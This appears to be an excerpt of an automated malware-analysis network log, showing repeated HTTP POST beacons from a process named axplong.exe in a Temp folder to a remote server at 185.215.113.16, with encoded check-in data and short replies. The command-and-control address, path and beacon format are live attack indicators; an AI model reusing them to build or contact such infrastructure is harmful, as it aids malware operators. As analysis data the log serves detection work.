Sep 27, 2024 01:29:24.797843933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:24.798696995 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:25.032542944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49727	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:25.272520065 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:25.993844032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:26.019258022 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:26.249974966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49728	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:26.368300915 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:27.500171900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:27.500407934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:27.501046896 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:27.731050014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49729	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:27.852840900 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:28.542624950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:28.557410955 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:28.932651997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49730	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:29.041997910 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:29.761863947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:29.763020039 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:30.196727991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49731	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:30.321341038 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:31.151405096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:31.152122021 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:31.375447989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49732	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:31.494915009 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:32.204375982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:32.205123901 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:32.433598042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49733	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:32.540627003 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:33.258707047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:33.298801899 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:33.526134968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49734	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:33.646493912 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:34.345848083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:34.346648932 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:34.568824053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49735	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:34.680780888 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:35.538794041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:35.539658070 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:35.771563053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49736	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:35.884841919 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:36.602411985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:36.603429079 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:36.834774017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49737	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:36.946696043 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:37.658889055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 01:29:37.659717083 CEST	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 41 41 30 34 31 43 38 46 42 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFAA041C8FBFD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Sep 27, 2024 01:29:37.890383005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49738	185.215.113.16	80	3312	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 01:29:38.012145996 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 01:29:38.738380909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 23:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
